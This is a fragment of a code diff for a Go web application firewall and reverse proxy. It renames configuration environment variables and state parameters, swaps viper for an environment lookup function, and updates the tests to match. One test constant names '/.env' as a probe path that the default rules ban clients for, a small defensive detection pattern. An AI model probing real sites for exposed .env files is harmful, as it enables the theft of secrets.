if err != nil {
|
||||
return nil, err
|
||||
|
||||
@@ -323,7 +323,7 @@ func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
|
||||
|
||||
dir := filepath.Join(t.TempDir(), "rules.d")
|
||||
|
||||
wantRefused(t, dir, "SWW_WAF_RULE_FILES_DIR cannot be read: open "+dir+
|
||||
wantRefused(t, dir, "SWW_RULES_DIR cannot be read: open "+dir+
|
||||
": no such file or directory")
|
||||
}
|
||||
|
||||
@@ -352,7 +352,7 @@ func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
|
||||
func TestRuleFilesOffReadNothing(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// SWW_WAF_RULE_FILES_DIR does not exist, which would stop the start.
|
||||
// SWW_RULES_DIR does not exist, which would stop the start.
|
||||
params, _ := newParams(filepath.Join(t.TempDir(), "rules.d"))
|
||||
params.Enabled = false
|
||||
|
||||
|
||||
+18
-24
@@ -1,14 +1,14 @@
|
||||
// Package state keeps sww's state in JSON files, as the "Persistent
|
||||
// state" section of SPEC.md requires and docs/state-files.md lists them.
|
||||
//
|
||||
// The state files are in SWW_WAF_STATE_DIR:
|
||||
// The state files are in SWW_STATE_DIR:
|
||||
// - bans.json holds the bans;
|
||||
// - clients.json holds each client's counters and history;
|
||||
// - abuseipdb-checks-spent.json holds the AbuseIPDB checks spent today;
|
||||
// - alerts.json holds the cooldowns, the hour under way, the alerts
|
||||
// waiting for each destination and the anomaly counters.
|
||||
//
|
||||
// The cache files are in SWW_WAF_CACHE_DIR. Each keeps answers from an
|
||||
// The cache files are in SWW_CACHE_DIR. Each keeps answers from an
|
||||
// outside service, which are fetched again when the file is lost:
|
||||
// - lookups.json holds GeoJS's answers;
|
||||
// - lists.json holds the last try and last good copy of each list
|
||||
@@ -119,17 +119,17 @@ var (
|
||||
|
||||
// Params are what Load needs.
|
||||
type Params struct {
|
||||
// Dir is the directory of the state files (SWW_WAF_STATE_DIR), and
|
||||
// CacheDir that of the cache files (SWW_WAF_CACHE_DIR).
|
||||
// Dir is the directory of the state files (SWW_STATE_DIR), and
|
||||
// CacheDir that of the cache files (SWW_CACHE_DIR).
|
||||
Dir string
|
||||
CacheDir string
|
||||
// BansWriteDelay is how long after a ban is made bans.json is written
|
||||
// (SWW_WAF_BANS_WRITE_DELAY), and WriteInterval how often every file
|
||||
// is (SWW_WAF_STATE_WRITE_INTERVAL).
|
||||
BansWriteDelay time.Duration
|
||||
WriteInterval time.Duration
|
||||
// WriteDelay is how long after a ban is made bans.json is written
|
||||
// (SWW_STATE_WRITE_DELAY), and CounterInterval how often every file
|
||||
// is (SWW_STATE_COUNTER_INTERVAL).
|
||||
WriteDelay time.Duration
|
||||
CounterInterval time.Duration
|
||||
// Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, RouteWatch, Alerts and
|
||||
// Anomalies hold the state. RouteWatch is nil while SWW_WAF_ROUTEWATCH_URL is
|
||||
// Anomalies hold the state. RouteWatch is nil while SWW_ROUTEWATCH_URL is
|
||||
// unset, and routewatch.json then holds no answers. Alerts also receive a
|
||||
// file_error alert for an edit set aside, and for a write that fails while
|
||||
// sww runs.
|
||||
@@ -265,18 +265,12 @@ type stateFile interface {
|
||||
func Load(params Params) (*Files, error) {
|
||||
err := checkWritable(params.Dir)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf(
|
||||
"SWW_WAF_STATE_DIR cannot be written: %w",
|
||||
err,
|
||||
)
|
||||
return nil, fmt.Errorf("SWW_STATE_DIR cannot be written: %w", err)
|
||||
}
|
||||
|
||||
err = checkWritable(params.CacheDir)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf(
|
||||
"SWW_WAF_CACHE_DIR cannot be written: %w",
|
||||
err,
|
||||
)
|
||||
return nil, fmt.Errorf("SWW_CACHE_DIR cannot be written: %w", err)
|
||||
}
|
||||
|
||||
f := &Files{params: params, sums: map[string][sha256.Size]byte{}}
|
||||
@@ -318,13 +312,13 @@ func Load(params Params) (*Files, error) {
|
||||
return f, nil
|
||||
}
|
||||
|
||||
// Run writes bans.json BansWriteDelay after a ban is made, with every ban
|
||||
// made in between, and every file every WriteInterval, until ctx is
|
||||
// Run writes bans.json WriteDelay after a ban is made, with every ban
|
||||
// made in between, and every file every CounterInterval, until ctx is
|
||||
// done. A write that fails is logged, raised as a file_error alert, and
|
||||
// the file is written again at its next write. Each write takes in an
|
||||
// admin's edit of its file first, as writeFile describes.
|
||||
func (f *Files) Run(ctx context.Context) {
|
||||
interval := time.NewTicker(f.params.WriteInterval)
|
||||
interval := time.NewTicker(f.params.CounterInterval)
|
||||
defer interval.Stop()
|
||||
|
||||
var bansDue <-chan time.Time // nil while no ban waits to be written
|
||||
@@ -335,7 +329,7 @@ func (f *Files) Run(ctx context.Context) {
|
||||
return
|
||||
case <-f.params.Ledger.Changed():
|
||||
if bansDue == nil {
|
||||
bansDue = time.After(f.params.BansWriteDelay)
|
||||
bansDue = time.After(f.params.WriteDelay)
|
||||
}
|
||||
case <-bansDue:
|
||||
bansDue = nil
|
||||
@@ -1507,7 +1501,7 @@ func write(dir, name string, data []byte) error {
|
||||
|
||||
// syncDirectory syncs dir to the disk, so that a rename in it lasts.
|
||||
func syncDirectory(dir string) error {
|
||||
//nolint:gosec // SWW_WAF_STATE_DIR or SWW_WAF_CACHE_DIR itself
|
||||
//nolint:gosec // SWW_STATE_DIR or SWW_CACHE_DIR itself
|
||||
directory, err := os.Open(dir)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -1518,7 +1512,7 @@ func syncDirectory(dir string) error {
|
||||
|
||||
// writeSynced writes data to the file at path, and syncs it to the disk.
|
||||
func writeSynced(path string, data []byte) error {
|
||||
//nolint:gosec // a file's temporary file, in SWW_WAF_STATE_DIR or SWW_WAF_CACHE_DIR
|
||||
//nolint:gosec // a file's temporary file, in SWW_STATE_DIR or SWW_CACHE_DIR
|
||||
file, err := os.OpenFile(
|
||||
path,
|
||||
os.O_WRONLY|os.O_CREATE|os.O_TRUNC,
|
||||
|
||||
@@ -1239,7 +1239,7 @@ func TestUnwritableDirectoryStopsTheStart(t *testing.T) {
|
||||
filepath.Join(t.TempDir(), "missing"),
|
||||
notADirectory,
|
||||
} {
|
||||
const want = "SWW_WAF_STATE_DIR cannot be written: "
|
||||
const want = "SWW_STATE_DIR cannot be written: "
|
||||
|
||||
_, err := state.Load(newParams(dir))
|
||||
if err == nil || !strings.HasPrefix(err.Error(), want) {
|
||||
@@ -1251,7 +1251,7 @@ func TestUnwritableDirectoryStopsTheStart(t *testing.T) {
|
||||
)
|
||||
}
|
||||
|
||||
const wantCache = "SWW_WAF_CACHE_DIR cannot be written: "
|
||||
const wantCache = "SWW_CACHE_DIR cannot be written: "
|
||||
|
||||
params := newParams(t.TempDir())
|
||||
params.CacheDir = dir
|
||||
@@ -1273,13 +1273,13 @@ func TestUnwritableDirectoryStopsTheStart(t *testing.T) {
|
||||
// returns once Run waits for its next write, so that every write due by
|
||||
// then is on disk.
|
||||
|
||||
func TestBansWrittenOnceBansWriteDelayAfterABan(t *testing.T) {
|
||||
func TestBansWrittenOnceWriteDelayAfterABan(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
params := newParams(dir)
|
||||
params.BansWriteDelay = 10 * time.Second
|
||||
params.WriteDelay = 10 * time.Second
|
||||
run(t, load(t, params).Run)
|
||||
|
||||
// A second ban, made while the first waits to be written, puts the
|
||||
@@ -1318,19 +1318,19 @@ func TestBansWrittenOnceBansWriteDelayAfterABan(t *testing.T) {
|
||||
// the second ban. The other files wait for the interval, an hour
|
||||
// away.
|
||||
removeFiles(t, dir, bansJSON)
|
||||
time.Sleep(params.BansWriteDelay)
|
||||
time.Sleep(params.WriteDelay)
|
||||
synctest.Wait()
|
||||
wantFiles(t, dir)
|
||||
})
|
||||
}
|
||||
|
||||
func TestEveryFileWrittenEveryWriteInterval(t *testing.T) {
|
||||
func TestEveryFileWrittenEveryCounterInterval(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
params := newParams(dir)
|
||||
params.WriteInterval = time.Minute
|
||||
params.CounterInterval = time.Minute
|
||||
run(t, load(t, params).Run)
|
||||
|
||||
// The files are removed once written, so that each interval shows
|
||||
@@ -1354,21 +1354,21 @@ func TestEditJustBeforeAScheduledWriteSurvivesIt(t *testing.T) {
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
params := newParams(dir)
|
||||
params.BansWriteDelay = 10 * time.Second
|
||||
params.WriteDelay = 10 * time.Second
|
||||
run(t, load(t, params).Run)
|
||||
|
||||
// A ban, and bans.json written with it.
|
||||
params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"),
|
||||
midnight(), bans.Notes{})
|
||||
time.Sleep(params.BansWriteDelay)
|
||||
time.Sleep(params.WriteDelay)
|
||||
synctest.Wait()
|
||||
|
||||
// A second ban is to be written BansWriteDelay later. Just before
|
||||
// A second ban is to be written WriteDelay later. Just before
|
||||
// then, an admin saves bans.json with the first ban lifted and
|
||||
// another added.
|
||||
params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"),
|
||||
midnight(), bans.Notes{})
|
||||
time.Sleep(params.BansWriteDelay - time.Nanosecond)
|
||||
time.Sleep(params.WriteDelay - time.Nanosecond)
|
||||
synctest.Wait()
|
||||
edit(t, dir, bansJSON, permanentBansJSON)
|
||||
|
||||
@@ -1399,7 +1399,7 @@ func TestWriteThatFailsWhileRunningRaisesAFileErrorAlertOncePerCooldown(
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
params := newParams(dir)
|
||||
params.WriteInterval = time.Minute
|
||||
params.CounterInterval = time.Minute
|
||||
run(t, load(t, params).Run)
|
||||
|
||||
// A directory in the way of the temporary file of clients.json, a
|
||||
@@ -2406,12 +2406,12 @@ func newParams(dir string) state.Params {
|
||||
return state.Params{
|
||||
Dir: dir,
|
||||
CacheDir: dir,
|
||||
BansWriteDelay: time.Hour,
|
||||
WriteInterval: time.Hour,
|
||||
WriteDelay: time.Hour,
|
||||
CounterInterval: time.Hour,
|
||||
Ledger: bans.New(bans.Params{
|
||||
LimitBanDuration: time.Hour,
|
||||
LimitBanRepeatWindow: 24 * time.Hour,
|
||||
LimitBanPermanentAbove: 7 * 24 * time.Hour,
|
||||
MaxBanDuration: 7 * 24 * time.Hour,
|
||||
AttackBanDuration: 7 * 24 * time.Hour,
|
||||
MaxBans: 5000,
|
||||
}),
|
||||
@@ -2447,7 +2447,7 @@ func newParams(dir string) state.Params {
|
||||
RequestsPerMinute: 1000,
|
||||
BytesPerMinute: 1 << 30,
|
||||
},
|
||||
WatchedNet: anomaly.Thresholds{RequestsPerHour: 1000},
|
||||
Watch: anomaly.Thresholds{RequestsPerHour: 1000},
|
||||
NetV4Prefix: 24,
|
||||
NetV6Prefix: 48,
|
||||
NamedNetblocks: []anomaly.NamedNetblock{
|
||||
|
||||
+17
-13
@@ -10,8 +10,6 @@ import (
|
||||
"net/url"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/viper"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
)
|
||||
@@ -23,10 +21,10 @@ var errHealthEndpoint = errors.New("the health endpoint answered")
|
||||
|
||||
// HealthCheck is the container's health check. In waf's container, where
|
||||
// SWW_COMMAND is waf, it returns 0 while waf answers its health
|
||||
// endpoint on 127.0.0.1, at the port in SWW_WAF_LISTEN_ADDR. In rproxy's container,
|
||||
// endpoint on 127.0.0.1, at the port in SWW_LISTEN_ADDR. In rproxy's container,
|
||||
// where SWW_COMMAND is rproxy, unset or empty, it returns 0 while rproxy
|
||||
// answers its health endpoint on 127.0.0.1, at the port in SWW_RPROXY_LISTEN_ADDR, and
|
||||
// the app accepts connections at the address in SWW_RPROXY_UPSTREAM_URL. Otherwise,
|
||||
// answers its health endpoint on 127.0.0.1, at the port in SWRP_LISTEN_ADDR, and
|
||||
// the app accepts connections at the address in SWRP_UPSTREAM_URL. Otherwise,
|
||||
// any other value of SWW_COMMAND included, it writes why to stderr and
|
||||
// returns 1. It reads no other setting, nor a file that another names, so neither
|
||||
// can fail it.
|
||||
@@ -35,7 +33,7 @@ var errHealthEndpoint = errors.New("the health endpoint answered")
|
||||
func HealthCheck(
|
||||
ctx context.Context,
|
||||
args []string,
|
||||
v *viper.Viper,
|
||||
lookupEnv func(string) (string, bool),
|
||||
stderr io.Writer,
|
||||
) int {
|
||||
if len(args) > 0 {
|
||||
@@ -48,15 +46,15 @@ func HealthCheck(
|
||||
ctx, cancel := context.WithTimeout(ctx, healthCheckTimeout)
|
||||
defer cancel()
|
||||
|
||||
command, err := config.Command(v)
|
||||
command, err := config.Command(lookupEnv)
|
||||
|
||||
switch {
|
||||
case err != nil:
|
||||
err = fmt.Errorf("invalid setting: %w", err)
|
||||
case command == "waf":
|
||||
err = checkWAF(ctx, v)
|
||||
err = checkWAF(ctx, lookupEnv)
|
||||
default:
|
||||
err = checkRProxyAndApp(ctx, v)
|
||||
err = checkRProxyAndApp(ctx, lookupEnv)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
@@ -69,8 +67,10 @@ func HealthCheck(
|
||||
}
|
||||
|
||||
// checkWAF asks waf's health endpoint.
|
||||
func checkWAF(ctx context.Context, v *viper.Viper) error {
|
||||
listenAddr, err := config.WAFListenAddr(v)
|
||||
func checkWAF(
|
||||
ctx context.Context, lookupEnv func(string) (string, bool),
|
||||
) error {
|
||||
listenAddr, err := config.WAFListenAddr(lookupEnv)
|
||||
if err != nil {
|
||||
return fmt.Errorf("invalid setting: %w", err)
|
||||
}
|
||||
@@ -84,8 +84,12 @@ func checkWAF(ctx context.Context, v *viper.Viper) error {
|
||||
}
|
||||
|
||||
// checkRProxyAndApp asks rproxy's health endpoint, and connects to the app.
|
||||
func checkRProxyAndApp(ctx context.Context, v *viper.Viper) error {
|
||||
listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(v)
|
||||
func checkRProxyAndApp(
|
||||
ctx context.Context, lookupEnv func(string) (string, bool),
|
||||
) error {
|
||||
listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(
|
||||
lookupEnv,
|
||||
)
|
||||
if err != nil {
|
||||
return fmt.Errorf("invalid setting: %w", err)
|
||||
}
|
||||
|
||||
@@ -12,7 +12,6 @@ import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
||||
"sneak.berlin/go/smallwebwaf/internal/sww"
|
||||
)
|
||||
|
||||
@@ -35,7 +34,7 @@ func TestHealthCheckInWAFsContainer(t *testing.T) {
|
||||
settings := map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: t.TempDir(),
|
||||
rulesDir: t.TempDir(),
|
||||
}
|
||||
|
||||
go func() {
|
||||
@@ -55,9 +54,9 @@ func TestHealthCheckInWAFsContainer(t *testing.T) {
|
||||
// or invalid token file, or an invalid value of another setting, does not
|
||||
// fail it.
|
||||
for _, other := range []struct{ name, value string }{
|
||||
{"SWW_WAF_METRICS_TOKEN_FILE", filepath.Join(t.TempDir(), "removed")},
|
||||
{"SWW_WAF_METRICS_TOKEN_FILE", writeFile(t, "too short\n")},
|
||||
{"SWW_WAF_MODE", "neither"},
|
||||
{"SWW_METRICS_TOKEN_FILE", filepath.Join(t.TempDir(), "removed")},
|
||||
{"SWW_METRICS_TOKEN_FILE", writeFile(t, "too short\n")},
|
||||
{"SWW_MODE", "neither"},
|
||||
} {
|
||||
wantHealthCheck(t, map[string]string{
|
||||
commandSetting: wafCommand,
|
||||
@@ -73,7 +72,7 @@ func TestHealthCheckInWAFsContainer(t *testing.T) {
|
||||
}, 1, "unhealthy: ask waf: ")
|
||||
wantHealthCheck(t, map[string]string{
|
||||
commandSetting: wafCommand, listenAddr: "8080",
|
||||
}, 1, "unhealthy: invalid setting: SWW_WAF_LISTEN_ADDR: ")
|
||||
}, 1, "unhealthy: invalid setting: SWW_LISTEN_ADDR: ")
|
||||
|
||||
stop()
|
||||
|
||||
@@ -119,13 +118,8 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
|
||||
)
|
||||
|
||||
// Another setting does not fail it, even an invalid one, and neither does
|
||||
// SWW_RPROXY_WAF_BACKEND being unset.
|
||||
wantHealthCheck(
|
||||
t,
|
||||
settings("SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS", "soon"),
|
||||
0,
|
||||
"",
|
||||
)
|
||||
// SWRP_WAF_BACKEND being unset.
|
||||
wantHealthCheck(t, settings("SWRP_TIMEOUT_MS", "soon"), 0, "")
|
||||
|
||||
// Another test can take a closed server's port at once, so the app's
|
||||
// address here is a multicast address, to which TCP cannot connect.
|
||||
@@ -141,14 +135,13 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
|
||||
"unhealthy: ask rproxy: ",
|
||||
)
|
||||
wantHealthCheck(t, settings(rproxyListenAddr, "8080"), 1,
|
||||
"unhealthy: invalid setting: SWW_RPROXY_LISTEN_ADDR: ")
|
||||
"unhealthy: invalid setting: SWRP_LISTEN_ADDR: ")
|
||||
|
||||
// A setting of rproxy's can be given as a file too, here the listen
|
||||
// address, which the health check reads.
|
||||
// No setting of rproxy's has a form given as a file.
|
||||
wantHealthCheck(t, map[string]string{
|
||||
rproxyListenAddr + "_FILE": writeFile(t, ":"+port+"\n"),
|
||||
rproxyUpstreamURL: app.URL,
|
||||
}, 0, "")
|
||||
}, 1, "unhealthy: ask rproxy: ")
|
||||
}
|
||||
|
||||
func TestHealthCheckFailsWithAnyOtherCommand(t *testing.T) {
|
||||
@@ -164,12 +157,11 @@ func TestHealthCheckRefusesAnArgument(t *testing.T) {
|
||||
|
||||
var stderr bytes.Buffer
|
||||
|
||||
got := sww.HealthCheck(
|
||||
t.Context(),
|
||||
[]string{"now"},
|
||||
configtest.Viper(nil),
|
||||
&stderr,
|
||||
)
|
||||
noSettings := func(string) (string, bool) {
|
||||
return "", false
|
||||
}
|
||||
|
||||
got := sww.HealthCheck(t.Context(), []string{"now"}, noSettings, &stderr)
|
||||
|
||||
want := "sww healthcheck: unexpected argument \"now\"\n"
|
||||
if got != 1 || stderr.String() != want {
|
||||
@@ -191,7 +183,16 @@ func wantHealthCheck(
|
||||
|
||||
var stderr bytes.Buffer
|
||||
|
||||
got := sww.HealthCheck(t.Context(), nil, configtest.Viper(env), &stderr)
|
||||
got := sww.HealthCheck(
|
||||
t.Context(),
|
||||
nil,
|
||||
func(name string) (string, bool) {
|
||||
value, ok := env[name]
|
||||
|
||||
return value, ok
|
||||
},
|
||||
&stderr,
|
||||
)
|
||||
|
||||
wrote := stderr.String()
|
||||
if got != status || !strings.HasPrefix(wrote, message) ||
|
||||
|
||||
@@ -15,8 +15,7 @@ import (
|
||||
|
||||
// RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves
|
||||
// requests until ctx is done. Then it gives the requests in progress
|
||||
// shutdownTimeout to finish, and the reports being sent
|
||||
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It
|
||||
// shutdownTimeout to finish, and the reports being sent SWRP_TIMEOUT_MS. It
|
||||
// returns the process's exit status, 1 when rproxy cannot start. Its process
|
||||
// messages name the host's name as instance, and it writes those at info or
|
||||
// more severe: rproxy has no setting for either.
|
||||
@@ -28,7 +27,7 @@ func RunRProxy(ctx context.Context, params Params) int {
|
||||
slog.LevelInfo,
|
||||
)
|
||||
|
||||
cfg, err := config.RProxyFromEnvironment(params.Viper)
|
||||
cfg, err := config.RProxyFromEnvironment(params.LookupEnv)
|
||||
if err != nil {
|
||||
processLog.Error("invalid setting", "error", err.Error())
|
||||
|
||||
@@ -44,7 +43,7 @@ func RunRProxy(ctx context.Context, params Params) int {
|
||||
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
|
||||
if err != nil {
|
||||
processLog.Error(
|
||||
"cannot listen on SWW_RPROXY_LISTEN_ADDR",
|
||||
"cannot listen on SWRP_LISTEN_ADDR",
|
||||
"error",
|
||||
err.Error(),
|
||||
)
|
||||
|
||||
+25
-23
@@ -19,20 +19,19 @@ import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
||||
"sneak.berlin/go/smallwebwaf/internal/sww"
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
)
|
||||
|
||||
const (
|
||||
// wafBackend is the setting that names waf to rproxy.
|
||||
wafBackend = "SWW_RPROXY_WAF_BACKEND"
|
||||
wafBackend = "SWRP_WAF_BACKEND"
|
||||
// rproxyListenAddr is the setting that says where rproxy listens.
|
||||
rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR"
|
||||
rproxyListenAddr = "SWRP_LISTEN_ADDR"
|
||||
// rproxyUpstreamURL is the setting that says where the app is.
|
||||
rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL"
|
||||
// wafBackendTimeout is the setting that says how long rproxy waits for waf.
|
||||
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
rproxyUpstreamURL = "SWRP_UPSTREAM_URL"
|
||||
// rproxyTimeout is the setting that says how long rproxy waits for waf.
|
||||
rproxyTimeout = "SWRP_TIMEOUT_MS"
|
||||
// bannedProbe is a path the default rule file bans a client for.
|
||||
bannedProbe = "/.env"
|
||||
// otherClient is a client the tests do not ban.
|
||||
@@ -44,7 +43,11 @@ const (
|
||||
func runRProxy(ctx context.Context, env map[string]string, out *output) int {
|
||||
return sww.RunRProxy(ctx, sww.Params{
|
||||
Version: testVersion,
|
||||
Viper: configtest.Viper(env),
|
||||
LookupEnv: func(name string) (string, bool) {
|
||||
value, ok := env[name]
|
||||
|
||||
return value, ok
|
||||
},
|
||||
Stdout: out,
|
||||
})
|
||||
}
|
||||
@@ -62,8 +65,8 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
|
||||
go func() {
|
||||
exited <- runRProxy(ctx, map[string]string{
|
||||
rproxyListenAddr: localhost + ":0",
|
||||
"SWW_RPROXY_UPSTREAM_URL": appURL,
|
||||
"SWW_RPROXY_TRUSTED_PROXIES": localhost + "/32",
|
||||
"SWRP_UPSTREAM_URL": appURL,
|
||||
"SWRP_TRUSTED_PROXIES": localhost + "/32",
|
||||
wafBackend: backend,
|
||||
}, out)
|
||||
}()
|
||||
@@ -137,7 +140,7 @@ func wafSettings(t *testing.T) map[string]string {
|
||||
return map[string]string{
|
||||
listenAddr: localhost + ":0",
|
||||
stateDir: t.TempDir(),
|
||||
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"),
|
||||
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -241,13 +244,12 @@ func TestTheSiteAnswersWhileWAFIsStoppedAndStartedAgain(t *testing.T) {
|
||||
forwardTo("")
|
||||
stop()
|
||||
|
||||
// With waf down, the site answers, and rproxy says
|
||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did it.
|
||||
// With waf down, the site answers, and rproxy says the default did it.
|
||||
wantStatus(t, site+"/after-stop", placed, http.StatusOK)
|
||||
|
||||
line := out.line(t, "path", "/after-stop")
|
||||
if line["disposition"] != waf.DispositionAllow ||
|
||||
line["waf_backend_no_answer"] != true {
|
||||
line["default_disposition"] != true {
|
||||
t.Errorf("rproxy's line is %v", line)
|
||||
}
|
||||
|
||||
@@ -476,7 +478,7 @@ func TestATargetThatCannotGoToWAFIsRefusedForABannedClient(t *testing.T) {
|
||||
}
|
||||
|
||||
line := out.line(t, "path", "admin")
|
||||
if line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
|
||||
if line["disposition"] != nil || line["default_disposition"] != nil {
|
||||
t.Errorf("rproxy's line is %v, want no disposition", line)
|
||||
}
|
||||
}
|
||||
@@ -497,7 +499,7 @@ func TestAClientWithAZoneIsTheClientWithout(t *testing.T) {
|
||||
|
||||
line := out.line(t, "path", bannedProbe)
|
||||
if line["client_ip"] != "2001:db8::1" ||
|
||||
line["waf_backend_no_answer"] != nil {
|
||||
line["default_disposition"] != nil {
|
||||
t.Errorf("rproxy's line is %v", line)
|
||||
}
|
||||
}
|
||||
@@ -555,7 +557,7 @@ func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
|
||||
|
||||
cmd.Env = append(os.Environ(),
|
||||
commandForMain+"=rproxy",
|
||||
"SWW_RPROXY_LISTEN_ADDR="+localhost+":0")
|
||||
"SWRP_LISTEN_ADDR="+localhost+":0")
|
||||
cmd.Env = append(cmd.Env, env...)
|
||||
|
||||
exited := startProcess(t, cmd)
|
||||
@@ -613,7 +615,7 @@ func TestRProxyAsksAWAFThatSpeaksHTTP2OverHTTP1(t *testing.T) {
|
||||
|
||||
addr, _ := startRProxyProcess(t,
|
||||
wafBackend+"="+backend.URL,
|
||||
"SWW_RPROXY_UPSTREAM_URL="+startApp(t),
|
||||
"SWRP_UPSTREAM_URL="+startApp(t),
|
||||
"SSL_CERT_FILE="+certificates)
|
||||
|
||||
for name, headers := range map[string]string{
|
||||
@@ -691,8 +693,8 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
|
||||
|
||||
env := map[string]string{
|
||||
rproxyListenAddr: localhost + ":0",
|
||||
"SWW_RPROXY_UPSTREAM_URL": startApp(t),
|
||||
wafBackendTimeout: "60000",
|
||||
"SWRP_UPSTREAM_URL": startApp(t),
|
||||
rproxyTimeout: "60000",
|
||||
wafBackend: backend.URL,
|
||||
}
|
||||
out := &output{}
|
||||
@@ -771,7 +773,7 @@ func TestRProxyStoppingCutsOffARequestAfterFiveSeconds(t *testing.T) {
|
||||
|
||||
const (
|
||||
cutOffAfter = 5 * time.Second
|
||||
upstreamSetting = "SWW_RPROXY_UPSTREAM_URL"
|
||||
upstreamSetting = "SWRP_UPSTREAM_URL"
|
||||
)
|
||||
|
||||
asked := make(chan struct{})
|
||||
@@ -856,8 +858,8 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
|
||||
}{
|
||||
{"no backend", wafBackend, nil},
|
||||
{
|
||||
"another invalid", wafBackendTimeout,
|
||||
map[string]string{wafBackend: "http://waf:8080", wafBackendTimeout: "soon"},
|
||||
"another invalid", rproxyTimeout,
|
||||
map[string]string{wafBackend: "http://waf:8080", rproxyTimeout: "soon"},
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
@@ -909,7 +911,7 @@ func TestRProxyAddressInUseStopsTheStart(t *testing.T) {
|
||||
t.Errorf("exit status %d, want 1", status)
|
||||
}
|
||||
|
||||
out.line(t, "msg", "cannot listen on SWW_RPROXY_LISTEN_ADDR")
|
||||
out.line(t, "msg", "cannot listen on SWRP_LISTEN_ADDR")
|
||||
}
|
||||
|
||||
func TestMainRunsRProxy(t *testing.T) {
|
||||
|
||||
+23
-26
@@ -20,8 +20,6 @@ import (
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/viper"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
@@ -40,7 +38,7 @@ import (
|
||||
const shutdownTimeout = 5 * time.Second
|
||||
|
||||
// remoteLogStopTimeout is how long, as waf stops, the log lines still
|
||||
// waiting are sent to SWW_WAF_LOG_REMOTE_URL before they are given up. stdout has
|
||||
// waiting are sent to SWW_LOG_REMOTE_URL before they are given up. stdout has
|
||||
// carried them.
|
||||
const remoteLogStopTimeout = 2 * time.Second
|
||||
|
||||
@@ -61,9 +59,8 @@ commands:
|
||||
type Params struct {
|
||||
// Version is the version of the binary, set when it is built.
|
||||
Version string
|
||||
// Viper reads the settings, normally the viper config.NewViper returns
|
||||
// for the process's environment.
|
||||
Viper *viper.Viper
|
||||
// LookupEnv reads an environment variable, normally os.LookupEnv.
|
||||
LookupEnv func(string) (string, bool)
|
||||
// Stdout receives the request log and the process's own messages.
|
||||
Stdout io.Writer
|
||||
}
|
||||
@@ -84,7 +81,7 @@ func Main(version string) int {
|
||||
|
||||
params := Params{
|
||||
Version: version,
|
||||
Viper: config.NewViper(),
|
||||
LookupEnv: os.LookupEnv,
|
||||
Stdout: os.Stdout,
|
||||
}
|
||||
|
||||
@@ -94,7 +91,7 @@ func Main(version string) int {
|
||||
case "waf":
|
||||
return RunWAF(ctx, params)
|
||||
case "healthcheck":
|
||||
return HealthCheck(ctx, args[1:], params.Viper, os.Stderr)
|
||||
return HealthCheck(ctx, args[1:], os.LookupEnv, os.Stderr)
|
||||
default:
|
||||
return printUsage(os.Stderr)
|
||||
}
|
||||
@@ -112,16 +109,16 @@ func printUsage(w io.Writer) int {
|
||||
// ctx is done. It returns the process's exit status, 1 when waf cannot start.
|
||||
func RunWAF(ctx context.Context, params Params) int {
|
||||
// Until the settings are read, the one message is an invalid setting's
|
||||
// error, which every SWW_WAF_LOG_LEVEL lets through.
|
||||
// error, which every SWW_LOG_LEVEL lets through.
|
||||
processLog := requestlog.NewProcessLogger(params.Stdout,
|
||||
config.InstanceName(params.Viper), slog.LevelError)
|
||||
config.InstanceName(params.LookupEnv), slog.LevelError)
|
||||
|
||||
cfg, err := config.WAFFromEnvironment(params.Viper)
|
||||
cfg, err := config.FromEnvironment(params.LookupEnv)
